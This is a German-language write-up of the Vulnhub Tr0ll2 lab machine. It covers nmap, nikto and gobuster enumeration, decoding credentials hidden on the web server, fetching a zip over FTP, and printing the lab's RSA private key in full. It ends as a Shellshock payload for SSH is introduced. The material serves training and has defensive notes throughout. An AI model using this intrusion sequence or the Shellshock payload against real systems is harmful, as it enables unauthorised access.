Tr0ll2 - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
curl
grep
wget
strings
sort
uniq
ftp
unzip
chmod
ssh
find
python

Inhaltsverzeichnis

Reconnaissance

Analyse: Wie üblich beginnt die Reconnaissance mit `arp-scan -l`, um aktive Hosts im lokalen Netzwerk zu finden.
Bewertung: Der Befehl identifiziert erfolgreich das Zielsystem mit der IP-Adresse `192.168.2.138`. Die MAC-Adresse (`08:00:27:b6:76:c4`) weist erneut auf eine Oracle VirtualBox VM hin.
Empfehlung (Offensiv): Die gefundene IP als Ziel für weitere Scans verwenden.
Empfehlung (Defensiv): Standardmäßige Netzwerküberwachung kann solche Scans erkennen. Für den Schutz vor ARP-Spoofing (nicht Scannen) ist DHCP-Snooping relevant.

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.138	08:00:27:b6:76:c4	PCS Systemtechnik GmbH

Analyse: Die `/etc/hosts`-Datei auf dem Angreifer-System wird bearbeitet, um der IP `192.168.2.138` den Hostnamen `troll2.vln` zuzuordnen.
Bewertung: Dies vereinfacht die Ansprache des Ziels in nachfolgenden Schritten und erhöht die Lesbarkeit.
Empfehlung (Offensiv): Immer durchführen, wenn mit Webdiensten oder hostnamenbasierten Konfigurationen interagiert wird.
Empfehlung (Defensiv): Keine direkten defensiven Maßnahmen auf dem Zielsystem erforderlich.

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
 192.168.2.138   troll2.vln

Analyse: Ein Nmap-Scan wird gestartet, um offene Ports, Dienste, Versionen und das Betriebssystem zu identifizieren.

Bewertung: Der Scan findet drei offene Ports: Die OS-Erkennung deutet auf ein älteres Linux (Kernel 2.6.X oder 3.X) hin.
Empfehlung (Offensiv): Die Dienste auf allen drei Ports untersuchen. FTP auf anonymen Login oder bekannte Schwachstellen prüfen. SSH auf schwache Passwörter oder Key-basierte Authentifizierung (falls Keys gefunden werden) prüfen. HTTP auf Web-Schwachstellen untersuchen.
Empfehlung (Defensiv): Alle Dienste (vsftpd, OpenSSH, Apache) auf die neuesten stabilen Versionen aktualisieren. Unnötige Ports schließen. IDS/IPS zur Erkennung aggressiver Scans einsetzen.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.138 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-28 23:37 CET
Nmap scan report for troll2.vln (192.168.2.138)
Host is up (0.00015s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 82:fe:93:b8:fb:38:a6:77:b5:a6:25:78:6b:35:e2:a8 (DSA)
|   2048 7d:a5:99:b8:fb:67:65:c9:64:86:aa:2c:d6:ca:08:5d (RSA)
|_  256 91:b8:6a:45:be:41:fd:c8:14:b5:02:a0:66:7c:8c:96 (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.22 (Ubuntu)
MAC Address: 08:00:27:B6:76:C4 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop
Service Info: Host: Tr0ll; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.15 ms troll2.vln (192.168.2.138)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.78 seconds

Analyse: Filtert die vorherige Nmap-Ausgabe, um nur die offenen Ports anzuzeigen.
Bewertung: Bestätigt schnell die offenen Ports 21, 22 und 80 als primäre Angriffsvektoren.
Empfehlung (Offensiv): Fokus auf diese drei Dienste legen.
Empfehlung (Defensiv): Regelmäßige Überprüfung offener Ports und Schließen nicht benötigter Dienste.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.138 -p- | grep open
21/tcp open  ftp     vsftpd 2.0.8 or later
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))

Web Enumeration

Analyse: Nikto wird verwendet, um den Webserver auf Port 80 nach bekannten Schwachstellen, Fehlkonfigurationen und interessanten Dateien zu durchsuchen.
Bewertung: Nikto liefert ähnliche Ergebnisse wie beim vorherigen Ziel:

Empfehlung (Offensiv): Die `wp-config.php#` trotz des Troll-Verdachts herunterladen und prüfen. Die anderen Findings (veraltete Software, MultiViews) im Hinterkopf behalten.
Empfehlung (Defensiv): Apache aktualisieren. Sicherheitsheader implementieren. `MultiViews` deaktivieren, wenn nicht benötigt. Zugriff auf Standarddateien beschränken. Sicherstellen, dass keine Backup-Dateien im Webroot liegen.

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.138
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.138
+ Target Hostname:    192.168.2.138
+ Target Port:        80
+ Start Time:         2023-11-28 23:37:13 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Ubuntu)
+ /: Server may leak inodes via ETags, header found with file /, inode: 13079, size: 110, mtime: Wed Oct 15 04:05:15 2014. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /index: Uncommon header 'tcn' found, with contents: list.
+ /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index' were found: index.html. See: http://www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS .
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8909 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time:           2023-11-28 23:37:29 (GMT1) (16 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Gobuster wird für Directory/File Brute-Forcing gegen `http://troll2.vln` verwendet. Es sucht nach verschiedenen Endungen (`-x`) mit einer Standard-Wortliste (`directory-list-2.3-medium.txt`), ignoriert 403/404-Fehler (`-b`), zeigt volle URLs (`-e`), unterdrückt Fehler (`--no-error`) und ignoriert SSL-Zertifikatsfehler (`-k`, hier irrelevant).
Bewertung: Der Scan findet `index`/`index.html` (wie erwartet) und eine `robots.txt`. Keine anderen versteckten Verzeichnisse oder Dateien wurden mit dieser Wortliste gefunden.
Empfehlung (Offensiv): Den Inhalt von `robots.txt` analysieren, da dieser oft Hinweise auf interessante Pfade gibt (auch wenn sie als "Disallow" markiert sind).
Empfehlung (Defensiv): WAFs können helfen, Brute-Force-Scans zu erkennen/blockieren. Unnötige Dateien entfernen.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u "http://troll2.vln" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error -k
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://troll2.vln
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.5
[+] Extensions:              [...]
[+] Expanded:                true
[+] Timeout:                 10s
[+] Use slash:               false
[+] Follow Redirect:         false
[+] Quiet:                   false
[+] No error:                true
[+] K:                       true
===============================================================
2023/11/28 23:40:15 Starting gobuster in directory enumeration mode
===============================================================
http://troll2.vln/index                (Status: 200) [Size: 110]
http://troll2.vln/index.html           (Status: 200) [Size: 110]
http://troll2.vln/robots.txt           (Status: 200) [Size: 346]
http://troll2.vln/robots               (Status: 200) [Size: 346]

===============================================================
2023/11/28 23:42:30 Finished
===============================================

Analyse: Der Inhalt der gefundenen `robots.txt` wird angezeigt.
Bewertung: Die Datei enthält eine lange Liste von `Disallow`-Einträgen mit humorvollen oder herausfordernden Namen (`/noob`, `/try_harder`, `/isnt_this_annoying`, etc.). Dies ist ein typisches Element von "Troll"-VMs, das den Pentester auf eine falsche Fährte locken oder beschäftigen soll. Allerdings können solche Einträge manchmal auch auf tatsächlich existierende, aber versteckte Verzeichnisse hinweisen.
Empfehlung (Offensiv): Die aufgelisteten Pfade systematisch überprüfen, auch wenn sie als "Disallow" markiert sind. Nicht alle Webserver/Anwendungen halten sich strikt an `robots.txt`.
Empfehlung (Defensiv): `robots.txt` sollte nur dazu verwendet werden, legitime Crawler von nicht-öffentlichen Bereichen abzuhalten. Es ist keine Sicherheitsmaßnahme und sollte keine sensiblen Pfadnamen enthalten.

http://troll2.vln/robots.txt

User-agent:*
Disallow: /noob
Disallow: /nope
Disallow: /try_harder
Disallow: /keep_trying
Disallow: /isnt_this_annoying
Disallow: /nothing_here
Disallow: /404
Disallow: /LOL_at_the_last_one
Disallow: /trolling_is_fun
Disallow: /zomg_is_this_it
Disallow: /you_found_me
Disallow: /I_know_this_sucks
Disallow: /You_could_give_up
Disallow: /dont_bother
Disallow: /will_it_ever_end
Disallow: /I_hope_you_scripted_this
Disallow: /ok_this_is_it
Disallow: /stop_whining
Disallow: /why_are_you_still_looking
Disallow: /just_quit
Disallow: /seriously_stop

Analyse: Es wird eine Shell-Schleife (`foreach`, wahrscheinlich aus einer `tcsh` oder ähnlichen Shell, in `bash` wäre es `for`) verwendet, um jeden Pfad aus einer Datei namens `subs` (die vermutlich die `Disallow`-Pfade aus `robots.txt` enthält) mit `curl` abzurufen. `-I` holt nur die Header, `-v` zeigt detaillierte Infos (inkl. Request-Header). Die Ausgabe wird in die Datei `sus` umgeleitet (`>>` hängt an).
Bewertung: Dies ist ein systematischer Ansatz, um die in `robots.txt` gefundenen Pfade zu testen. Die Erstellung der Datei `subs` wird hier impliziert, sie müsste die Pfade wie `/noob`, `/nope` etc. enthalten.
Empfehlung (Offensiv): Die Ergebnisse in `sus` analysieren, um zu sehen, welche Pfade tatsächlich existieren oder interessante Antworten liefern.
Empfehlung (Defensiv): Ratenbegrenzung oder WAFs können solche automatisierten Anfragen erkennen und blockieren.

┌──(root㉿cyber)-[~]
└─# foreach i in $(cat subs); do curl http://troll2.vln$i -Iv >> sus;done
...

Analyse: Die Datei `sus` (Ergebnis des vorherigen `curl`-Laufs) wird mit `grep` nach Zeilen durchsucht, die "HTTP" enthalten, um die Statuszeilen der Antworten zu extrahieren.
Bewertung: Die Ausgabe zeigt, dass einige Pfade (`/noob`, `/keep_trying`, `/dont_bother`, `/ok_this_is_it`) mit einem `HTTP/1.1 301 Moved Permanently` antworten. Das bedeutet, diese Pfade existieren und leiten auf eine andere Ressource weiter (typischerweise durch Anhängen eines `/`, also auf ein Verzeichnis). Die meisten anderen Pfade geben `404 Not Found` zurück.
Empfehlung (Offensiv): Die Pfade, die einen 301-Status zurückgeben, genauer untersuchen (insbesondere die Ziele der Weiterleitung, z.B. `http://troll2.vln/noob/`).
Empfehlung (Defensiv): Sicherstellen, dass Weiterleitungen korrekt konfiguriert sind und nicht auf sensible Bereiche zeigen.

┌──(root㉿cyber)-[~]
└─# grep "HTTP" sus
1  HTTP/1.1 301 Moved Permanently                         /noob
2  HTTP/1.1 404 Not Found                                 /nope
3  HTTP/1.1 404 Not Found                                 /try_harder
4  HTTP/1.1 301 Moved Permanently                         /keep_trying
5  HTTP/1.1 404 Not Found                                 /isnt_this_annoying
6  HTTP/1.1 404 Not Found                                 /nothing_here
7  HTTP/1.1 404 Not Found                                 /404
8  HTTP/1.1 404 Not Found                                 /LOL_at_the_last_one
9  HTTP/1.1 404 Not Found                                 /trolling_is_fun
10 HTTP/1.1 404 Not Found                                 /zomg_is_this_it
11 HTTP/1.1 404 Not Found                                 /you_found_me
12 HTTP/1.1 404 Not Found                                 /I_know_this_sucks
13 HTTP/1.1 404 Not Found                                 /You_could_give_up
14 HTTP/1.1 301 Moved Permanently                         /dont_bother
15 HTTP/1.1 404 Not Found                                 /will_it_ever_end
16 HTTP/1.1 404 Not Found                                 /I_hope_you_scripted_this
17 HTTP/1.1 301 Moved Permanently                         /ok_this_is_it
18 HTTP/1.1 404 Not Found                                 /stop_whining
19 HTTP/1.1 404 Not Found                                 /why_are_you_still_looking
20 HTTP/1.1 404 Not Found                                 /just_quit
21 HTTP/1.1 404 Not Found                                 /seriously_stop

Analyse: Der HTML-Quellcode der Startseite (`index.html`) wird untersucht.
Bewertung: Im Quellcode befindet sich ein Bild `tr0ll_again.jpg` und HTML-Kommentare: `--Nothing here, Try Harder! --Author: Tr0ll --Editor: VIM`. Dies sind weitere Troll-Hinweise, aber das Bild könnte interessant sein.
Empfehlung (Offensiv): Das Bild `tr0ll_again.jpg` herunterladen und auf versteckte Daten (Steganographie, Metadaten) untersuchen.
Empfehlung (Defensiv): Kommentare im HTML-Code vermeiden, die Hinweise geben könnten. Metadaten aus Bildern vor der Veröffentlichung entfernen.

http://troll2.vln/index.html
  
 img src='tr0ll_again.jpg' 
  < --Nothing here, Try Harder! -->
  < --Author: Tr0ll -->
  < --Editor: VIM -->
 

Analyse: Ein weiterer Nmap-Scan wird durchgeführt, diesmal gezielt mit der Skript-Kategorie `vuln` auf die offenen Ports 21, 22 und 80.
Bewertung: Der Scan liefert keine signifikanten Ergebnisse. Er erwähnt ein mögliches Avahi-DoS (CVE-2011-1002), das aber nicht erfolgreich war ("not vulnerable"). Für HTTP werden keine CSRF-, XSS- oder Enum-Schwachstellen gefunden, außer der bereits bekannten `robots.txt`.
Empfehlung (Offensiv): Sich nicht nur auf automatisierte Vuln-Scans verlassen. Manuelle Überprüfung der Dienste (FTP-Login, Web-Anwendung) ist oft effektiver.
Empfehlung (Defensiv): Regelmäßige Scans mit aktuellen Skripten durchführen, aber manuelle Audits und Updates sind unerlässlich.

┌──(root㉿cyber)-[~]
└─# nmap --script vuln -p21,22,80 192.168.2.138
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-29 00:12 CET
Pre-scan script results:
| broadcast-avahi-dos:
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for troll2.vln (192.168.2.138)
Host is up (0.00023s latency).

PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum:
|_  /robots.txt: Robots file

Nmap done: 1 IP address (1 host up) scanned in 9.95 seconds

Analyse: Gobuster wird erneut verwendet, diesmal aber mit der Datei `subs` (die die Pfade aus `robots.txt` enthält) als Wortliste (`--wordlist subs`). Es wird nach bestimmten Endungen gesucht (`-x`) und die Ausgabe ist auf das Nötigste reduziert (`-q`).
Bewertung: Dieser Scan bestätigt die vier Pfade, die zuvor einen 301-Statuscode zurückgaben und nun als Verzeichnisse (`/noob/`, `/keep_trying/`, `/dont_bother/`, `/ok_this_is_it/`) angezeigt werden.
Empfehlung (Offensiv): Den Inhalt dieser vier Verzeichnisse untersuchen.
Empfehlung (Defensiv): Verzeichnisse, die nicht öffentlich zugänglich sein sollen, korrekt schützen (z.B. durch `.htaccess` oder Serverkonfiguration).

┌──(root㉿cyber)-[~]
└─# gobuster dir --wordlist subs -u http://192.168.2.138/ -x php,txt,html,sh,cgi -q
/noob                 (Status: 301) [Size: 313] [--> http://192.168.2.138/noob/]
/keep_trying          (Status: 301) [Size: 320] [--> http://192.168.2.138/keep_trying/]
/dont_bother          (Status: 301) [Size: 320] [--> http://192.168.2.138/dont_bother/]
/ok_this_is_it        (Status: 301) [Size: 322] [--> http://192.168.2.138/ok_this_is_it/]

Analyse: Eine Datei `cat_the_troll.jpg` wird aus dem Verzeichnis `/dont_bother/` mit `wget` heruntergeladen.
Bewertung: Der Download ist erfolgreich. Der Dateiname legt nahe, dass darin Informationen versteckt sein könnten.
Empfehlung (Offensiv): Die heruntergeladene Datei mit Tools wie `strings`, `exiftool` oder Steganographie-Tools analysieren.
Empfehlung (Defensiv): Sensible Informationen nicht in öffentlich zugänglichen Dateien verstecken.

┌──(root㉿cyber)-[~]
└─# wget http://troll2.vln/dont_bother/cat_the_troll.jpg
--2023-11-29 00:19:26--  http://troll2.vln/dont_bother/cat_the_troll.jpg
Resolving troll2.vln (troll2.vln)... 192.168.2.138
Connecting to troll2.vln (troll2.vln)|192.168.2.138|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 15873 (16K) [image/jpeg]
Saving to: ‘cat_the_troll.jpg.1’

cat_the_troll.jpg.1     100%[=====================================>]  15.50K  --.-KB/s    in 0s

2023-11-29 00:19:26 (71.8 MB/s) - ‘cat_the_troll.jpg.1’ saved [15873/15873]

Analyse: Das `strings`-Tool wird auf die heruntergeladene Bilddatei angewendet, um lesbare Zeichenketten mit einer Mindestlänge von 8 (`-n 8`) zu extrahieren.
Bewertung: Neben vielen unlesbaren Daten findet sich die Zeichenkette: `Look Deep within y0ur_self for the answer`. Dies ist ein klarer Hinweis auf einen Pfadnamen: `/y0ur_self`.
Empfehlung (Offensiv): Den Pfad `http://troll2.vln/y0ur_self` im Browser oder mit `curl` aufrufen.
Empfehlung (Defensiv): Keine Hinweise oder sensible Daten in Bilddateien oder anderen öffentlichen Ressourcen einbetten.

┌──(root㉿cyber)-[~]
└─# strings cat_the_troll.jpg.1 -n 8
#3-652-108?QE8
                

Analyse: Der Pfad `/y0ur_self` wird aufgerufen. Der Webserver gibt eine Verzeichnisliste zurück.
Bewertung: In diesem Verzeichnis befindet sich eine Datei namens `answer.txt` mit einer beachtlichen Größe von 1.3 MB.
Empfehlung (Offensiv): Die Datei `answer.txt` herunterladen und analysieren.
Empfehlung (Defensiv): Directory Listing auf Webservern deaktivieren, wenn es nicht explizit benötigt wird. Große, unerwartete Dateien im Webroot können auf eine Kompromittierung oder Fehlkonfiguration hindeuten.

http://troll2.vln/y0ur_self

Index of /y0ur_self
[ICO]	Name	Last modified	Size	Description
[DIR]	Parent Directory	 	-
[TXT]	answer.txt	04-Oct-2014 01:22 	1.3M
Apache/2.2.22 (Ubuntu) Server at troll2.vln Port 80

Analyse: Die (vermutlich heruntergeladene) Datei `answer.txt` wird mit `sort` sortiert und dann mit `uniq` werden doppelte Zeilen entfernt. Das Ergebnis wird in `new_answer.txt` gespeichert. Anschließend folgen Hinweise zur Verwendung von CyberChef (`From_Base64`) und das Ergebnis der Dekodierung: die Credentials `Tr0ll:Tr0ll`.
Bewertung: Die große Datei `answer.txt` enthielt wahrscheinlich viele Zeilen Base64-codierten Text, wobei die relevanten Credentials mehrfach vorkamen. Durch `sort | uniq` wurde die redundante Information entfernt, und die verbleibende Base64-Zeichenkette wurde (außerhalb des gezeigten Terminals, z.B. in CyberChef) dekodiert, um die FTP-Zugangsdaten `Tr0ll`:`Tr0ll` zu erhalten.
Empfehlung (Offensiv): Die gefundenen Credentials `Tr0ll:Tr0ll` verwenden, um sich auf dem FTP-Server (Port 21) anzumelden.
Empfehlung (Defensiv): Niemals Zugangsdaten, auch nicht kodiert, in öffentlich zugänglichen Dateien speichern. Base64 ist keine Verschlüsselung!

┌──(root㉿cyber)-[~]
└─# sort answer.txt | uniq > new_answer.txt
https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)
frombase64
copyto´file


creds find: Tr0ll:Tr0ll

FTP Access

Analyse: Es wird eine Verbindung zum FTP-Server auf `192.168.2.138` aufgebaut. Die zuvor gefundenen Zugangsdaten `Tr0ll` mit Passwort `Tr0ll` werden verwendet.
Bewertung: Der Login ist erfolgreich ("230 Login successful."). Dies gewährt Zugriff auf das FTP-Verzeichnis des Benutzers `Tr0ll`.
Empfehlung (Offensiv): Den Inhalt des FTP-Verzeichnisses untersuchen (`ls`, `ls -la`). Nach interessanten Dateien suchen und diese herunterladen (`get`). Prüfen, ob Schreibrechte bestehen (`put`).
Empfehlung (Defensiv): Starke, einzigartige Passwörter für FTP-Konten verwenden. Anonymen FTP-Zugriff deaktivieren, wenn nicht benötigt. FTP nach Möglichkeit vermeiden und sicherere Protokolle wie SFTP (über SSH) bevorzugen.

┌──(root㉿cyber)-[~]
└─# ftp 192.168.2.138
Connected to 192.168.2.138.
220 Welcome to Tr0ll FTP... Only noobs stay for a while...
Name (192.168.2.138:cyber): Tr0ll
331 Please specify the password.
Password: Tr0ll
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

Analyse: Innerhalb der FTP-Sitzung werden die Befehle `ls -la` und `get lmao.zip` ausgeführt.
Bewertung: `ls -la` zeigt eine einzelne Datei im Verzeichnis: `lmao.zip`. Diese Datei wird anschließend mit `get lmao.zip` erfolgreich heruntergeladen.
Empfehlung (Offensiv): Die heruntergeladene Datei `lmao.zip` auf dem lokalen System untersuchen (entpacken, Inhalt analysieren).
Empfehlung (Defensiv): Keine sensiblen oder potenziell schädlichen Dateien auf FTP-Servern lagern, die über schwache Credentials zugänglich sind.

ftp> ls -la
229 Entering Extended Passive Mode (|||29988|).
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Oct 04  2014 .
drwxr-xr-x    2 0        0            4096 Oct 04  2014 ..
-rw-r--r--    1 0        0            1474 Oct 04  2014 lmao.zip
226 Directory send OK.
ftp> get lmao.zip
local: lmao.zip remote: lmao.zip
229 Entering Extended Passive Mode (|||56234|).
150 Opening BINARY mode data connection for lmao.zip (1474 bytes).
100% |***********************************|  1474        5.00 MiB/s    00:00 ETA
226 Transfer complete.
1474 bytes received in 00:00 (2.65 MiB/s)

Initial Access (SSH)

Analyse: Die heruntergeladene Datei `lmao.zip` wird versucht zu entpacken. Das Archiv ist passwortgeschützt und fragt nach `[lmao.zip] noob password:`.
Bewertung: Es wird impliziert, dass das Passwort `noob` eingegeben wird (basierend auf dem Prompt und dem Namen der extrahierten Datei). Das Entpacken ist erfolgreich und extrahiert eine Datei namens `noob`.
Empfehlung (Offensiv): Den Inhalt der extrahierten Datei `noob` untersuchen.
Empfehlung (Defensiv): Passwortschutz für Archive ist nur so sicher wie das Passwort selbst. Sensible Daten sollten stark verschlüsselt werden.

┌──(root㉿cyber)-[~]
└─# unzip lmao.zip
Archive:  lmao.zip
[lmao.zip] noob password: noob
  inflating: noob

Analyse: Der Inhalt der extrahierten Datei `noob` wird angezeigt.
Bewertung: Es handelt sich um einen privaten RSA-SSH-Schlüssel (`--BEGIN RSA PRIVATE KEY--`). Dieser Schlüssel kann potenziell für den Login auf dem SSH-Server verwendet werden.
Empfehlung (Offensiv): Dem Schlüssel die korrekten Berechtigungen geben (`chmod 600`) und versuchen, sich damit per SSH zu verbinden. Es muss herausgefunden werden, für welchen Benutzer dieser Schlüssel gültig ist (möglicherweise `noob`, `troll` oder ein anderer User).
Empfehlung (Defensiv): Private SSH-Schlüssel niemals ungeschützt oder leicht zugänglich ablegen. Sie sollten immer mit einer starken Passphrase geschützt sein.

┌──(root㉿cyber)-[~]
└─# cat noob
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAsIthv5CzMo5v663EMpilasuBIFMiftzsr+w+UFe9yFhAoLqq
yDSPjrmPsyFePcpHmwWEdeR5AWIv/RmGZh0Q+Qh6vSPswix7//SnX/QHvh0CGhf1
/9zwtJSMely5oCGujMLjDZjryu1PKxET1CcUpiylr2kgD/fy11Th33KwmcsgnPoq
+pMbCh86IzNBEXrBdkYCn222djBaq+mEjvfqIXWQYBlZ3HNZ4LVtG+5in9bvkU5
z+13lsTpA9px6YIbyrPMMFzcrxNdpTY86ozw02+MmFaYfMxyj2GbLej0+qniwKy
e5SsF+eNBRKdqvSYtsVE11SwQmF4imdJ0buvQIDAQABAoIBAA8ltlpQWP+yduna
u+W3cSHrmgWi/Ge0Ht6tP193V8IzyD/CJFsPH24Yf7rX1xUoIKtI4NV+gfjW8i0
gvKJ9eXYE2fdCDhUxsLcQ+wYrP1j0cVZXvL4CvMDd9Yb1JVnq65QKJ73CuwbVlq
UmYXvYHcth324YFbeaEiPcN3SIlLWms0pdA71Lc8kYKfgUK8UQ9Q3u58Ehlxv079
La35u5VH7GSKeey72655A+t6d1ZrrnjaRXmaec/j3Kvse2GrXJFhZ2IEDAfa0GXR
xgl4PyN80L+TgBNI/5nnTSQqbjUiu+aoRCs0856EEpfnGte41App99hdPTAKP
aq/r7+UCgYEA17aQ69KGRdvNRNvRo4abtiKVFSSqCKMasiL6aZ8NIqNfIVTMtTW
K+WPmz657n1oapaPfkiMRhXBCLjR7HHLeP5RaDQtrNBfPSi7AlTPrRxDPQUxyxx
n48iIflln6u85KYEjQbHHkA3MdJBX2yYFp/w6pYtKfp15BDA8s4v9HMCgYEA0YcB
TEJvcW1XUT93ZsN+lo/xlXDsf+9Njrci+G8l7jJEAFWptb/9ELc8phiZUHa2dIh
WBpYEanp2r+fKEQwLtoihstceSamdrLsskPhA4xF3zc3c1ubJUfsJBfbwhX1tQv
ibsKq9kucenZnT/WU8L51Ni5lTJa4HTQwQe9A8CgYEAidHV1T1g6NtSUVUCg6t
0PlGmU9YTVmVwnzU+LtJTQDiGhfN6wKWvYF12kmf30P9vWzpzlRoXDd2GS6N4rdq
vKoyNZRw+bqjM0XT+2CR8dS1Dw9au14w+xecLq7NeQzUxzId5tHCosZRoQbvoh
ywLymdDlq3TZ+CySD4/wUCgYEAr/ybRHhQro7VnneSjxNp7qRUn9a3bkWLeSG
th8mjrEwf/b/1yai2YEHn+QKUU5dCbLjr2We/Dcm6cue98IP4rHdjVlRS3oN9s
G9cTui0pyvDP7F63Eug4E89PuSziyphyTVcDAZBriFaIlKcMivDv6J6LZTc17sye
q51celUCgYAKE153nmgLIZjw6+FQcGYUl5FGfStUY05sh8kxwBBGHW4/fC77+N
vW6CYeE+bA2AQmiIGj5CqlNyecZ08j4t/W3IiRlkobh07p3nj601d+gTjjgKG
zp8XZNG8Xwnd5K59AVXZeiLe2LGeYbUKGbHyKE3wEVTTEmgaxF4D1g
-----END RSA PRIVATE KEY-----

Analyse: Dem privaten SSH-Schlüssel `noob` werden die korrekten Dateiberechtigungen (`600` - nur Lesen und Schreiben für den Eigentümer) zugewiesen. Dies ist notwendig, damit der SSH-Client den Schlüssel akzeptiert.
Bewertung: Korrekter vorbereitender Schritt für die Verwendung des SSH-Schlüssels.
Empfehlung (Offensiv): Mit dem nächsten Schritt den SSH-Login versuchen.
Empfehlung (Defensiv): Die Notwendigkeit dieses Schritts unterstreicht die Wichtigkeit, private Schlüssel sicher aufzubewahren.

┌──(root㉿cyber)-[~]
└─# chmod 600 noob

Analyse: Es wird versucht, sich per SSH als Benutzer `troll` mit dem privaten Schlüssel `noob` (`-i noob`) auf dem Zielsystem anzumelden.
Bewertung: Der Versuch schlägt fehl. Die Meldung `sign_and_send_pubkey: no mutual signature supported` deutet auf ein Problem mit den unterstützten Algorithmen zwischen Client und Server hin (oft bei alten RSA-Schlüsseln). Der Server fällt auf Passwort-Authentifizierung zurück (`troll@192.168.2.138's password:`). Das Passwort für `troll` ist nicht bekannt.
Empfehlung (Offensiv): Versuchen, den Login mit expliziter Angabe älterer Algorithmen zu erzwingen (z.B. `-o PubkeyAcceptedKeyTypes=ssh-rsa`). Versuchen, den Schlüssel für andere Benutzer zu verwenden (insbesondere `noob`, da der Schlüssel und das Zip-Passwort so heißen).
Empfehlung (Defensiv): Veraltete SSH-Algorithmen und Schlüsseltypen auf dem Server deaktivieren (`sshd_config`). Nur starke, aktuelle Algorithmen zulassen.

┌──(root㉿cyber)-[~]
└─# ssh troll@192.168.2.138 -i noob
The authenticity of host '192.168.2.138 (192.168.2.138)' can't be established.
ECDSA key fingerprint is SHA256:I3xuSgcBlIsoldKTkyVYwx8B4NLGl0fDDTi0H6ExYg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.138' (ECDSA) to the list of known hosts.
sign_and_send_pubkey: no mutual signature supported
troll@192.168.2.138's password:

Analyse: Der Kommentar "Try shellshock technique w/ SSH" und der folgende Befehl deuten auf einen Versuch hin, die Shellshock-Schwachstelle (CVE-2014-6271) über SSH auszunutzen. Der Befehl versucht, sich als Benutzer `noob` mit dem Schlüssel `noob` anzumelden und direkt einen manipulierten Bash-Befehl (`'() {:;}; /bin/bash'`) auszuführen.
